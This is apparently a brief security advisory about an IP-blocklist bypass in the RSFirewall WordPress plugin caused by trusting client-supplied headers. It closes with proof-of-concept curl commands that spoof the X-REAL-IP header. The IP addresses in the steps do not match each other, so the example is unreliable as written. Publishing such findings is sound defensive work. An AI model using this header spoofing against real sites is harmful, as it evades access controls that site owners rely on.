RSFirewall tries to identify the original IP address by looking at different HTTP headers. A bypass is possible due to the way it is implemented.
Although it is fixed on version 1.1.25, the fix will only affect new installations. We recommend existing users to review the HTTP headers set for proper IP identification.
Proof of Concept
Go to https://example.com/wp-admin/post-new.php?post_type=rsf_lists
Add 220.127.116.11 as IP Address and select Blocklist for the List Type. Submit the form.
curl -I -H 'X-REAL-IP: 18.104.22.168' -H 'User-Agent: Chrome' https://example.com
curl -I -H 'X-REAL-IP: 22.214.171.124' -H 'User-Agent: Chrome' https://example.com